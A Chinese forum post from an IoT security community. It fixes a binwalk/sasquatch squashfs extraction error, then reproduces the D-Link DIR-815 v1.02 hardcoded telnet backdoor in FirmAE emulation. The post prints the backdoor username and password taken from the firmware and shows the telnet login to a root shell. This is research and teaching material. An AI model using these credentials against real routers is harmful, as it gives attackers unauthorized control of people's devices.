[原创]ubuntu24.04 binwalk squashfs-root 文件夹为空及D-Link DIR-815后门漏洞复现-IoT安全-看雪安全社区

### ubuntu24.04 binwalk squashfs-root 文件夹为空
今天在复现 D-Link DIR-815 后门漏洞 时，binwalk提取D-Link 1.02版本固件时，squashfs-root 文件夹为空
首先确保你已经安装过`squashfs-tools`, 如果没有请你使用
```
sudo apt install squashfs-tools
```
在提取固件时：
```
binwalk -Me dir815_FW_102.bin
```
提示报错为：
```
WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -le -d 'squashfs-root' '%e'': [Errno 2] No such file or directory: 'sasquatch', 'sasquatch -p 1 -le -d 'squashfs-root' '%e'' might not be installed correctly

WARNING: Extractor.execute failed to run external extractor 'sasquatch -p 1 -be -d 'squashfs-root' '%e'': [Errno 2] No such file or directory: 'sasquatch', 'sasquatch -p 1 -be -d 'squashfs-root' '%e'' might not be installed correctly
983180        0xF008C         Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2783169 bytes, 1526 inodes, blocksize: 262144 bytes, created: 2012-01-19 04:03:49
```
这是缺少一个名为`sasquatch`的工具，sasquatch 是一个用于解压 SquashFS 文件系统（一种常见的嵌入式设备只读文件系统）的组件或插件，当 Binwalk 扫描到 SquashFS 格式的压缩文件时，它会尝试使用 sasquatch 提取其中的内容。
```
git clone https://github.com/devttys0/sasquatch
cd sasquatch && ./build.sh
```
安装后，大概率会提示以下错误：
```
unsquashfs.c:1835:5: error: this ‘if’ clause does not guard... [-Werror=misleading-indentation]
 1835 |     if(swap)
      |     ^~
unsquashfs.c:1841:9: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
 1841 |         read_fs_bytes(fd, SQUASHFS_START, sizeof(struct squashfs_super_block),
      |         ^~~~~~~~~~~~~
cc1: all warnings being treated as errors
make: *** [<builtin>: unsquashfs.o] Error 1
```
这地方是编译时，发现歧义，看过源码后发现是因为`{}`的问题，尝试解决后，发现还有新的报错。有一个可使用的方案，感兴趣可以查看：
```
https://github.com/devttys0/sasquatch/pull/56
```
具体解决办法是：
```
git clone https://github.com/devttys0/sasquatch
cd sasquatch && git pull origin pull/56/head && ./build.sh
```
### 附带 D-Link DIR-815后门漏洞复现
D-Link DIR-815 1.02版本的路由器，dir815_FW_102.bin固件下载地址：
```
https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
```

```
➜  binwalk -Me dir815_FW_102.bin
```
然后再使用`binwalk`进行分离，会出现多个`.extracted`后缀的文件，逐个打开看看，我的是在
```c
cd _dir815_FW_102.bin-2.extracted
```
需要用到`firmwalker`工具：
```c
git clone https://github.com/craigz28/firmwalker.git
cd firmwalker
```
使用`firmwalker`进行信息收集，将收集的结果存入`dir815.txt`
```c
./firmwalker.sh ../squashfs-root ./dir815.txt
```
重点关注`init0.d`的系统启动项的内容。
```c
t/etc/init0.d/S80telnetd.sh
```
然后审一下代码
```sh
➜  squashfs-root git:(master) ✗ cat etc/init0.d/S80telnetd.sh 
#!/bin/sh
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ]; then
        if [ -f "/usr/sbin/login" ]; then
                image_sign=`cat /etc/config/image_sign`
                telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
        else
                telnetd &
        fi
else
        killall telnetd
fi
```
密码是`image_sign`的内容
```c
➜  squashfs-root cat ./etc/config/image_sign
wrgnd08_dlob_dir815
```

下载`firmAE`工具模拟固件
```c
git clone --recursive https://github.com/pr0v3rbs/FirmAE
./download.sh
./install.sh
./init.sh
```
安装完成后启动
```c
sudo ./run.sh -r dir815 ./dir815_FW_102.bin
```
结果
```c
➜  FirmAE git:(master) ✗ sudo ./run.sh -r dir815 ./dir815_FW_102.bin
[sudo] password for ra1ny: 
[*] ./dir815_FW_102.bin emulation start!!!
[*] Extract done!!!
[+] get architecture done!!!
[+] Start emulation!!!

[IID] 2
[MODE] run
[*] ./dir815_FW_102.bin already succeed emulation!!!
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
Creating TAP device tap2_0...
Set 'tap2_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 5.169506216 25.379649267
```

```c
➜  ~ nmap 192.168.0.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-15 11:12 CST
Nmap scan report for 192.168.0.1
Host is up (0.0064s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE
23/tcp    open  telnet
53/tcp    open  domain
80/tcp    open  http
49152/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
```
然后`talnet`登入。
```sh
➜  ~ telnet 192.168.0.1                       
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
login: Alphanetworks
Password: wrgnd08_dlob_dir815

# pwd
/
# ls
root        www         sys         lib         dev
run         var         sbin        htdocs      bin
etc_ro      usr         proc        home        lost+found
firmadyne   tmp         mnt         etc
```
参考链接：
···
<mark class="encrypted">847K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5%4y4V1L8W2)9J5k6h3&6W2N6q4)9J5c8V1y4d9e0#2N6b7f1#2W2o6d9p5!0Q4x3V1k6S2M7Y4c8A6j5$3I4W2i4K6u0r3k6r3g2@1j5h3W2D9M7#2)9J5c8U0p5K6y4K6t1J5y4U0R3$3x3R3`.`.</mark>
···
复现过程是参考《物联网安全漏洞挖掘实战》崔洪权编著。

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

#安全研究 #固件分析 #家用设备

上传的附件：

DIR-815_REVA_FIRMWARE_v1.02.ZIP （3.59MB，4次下载）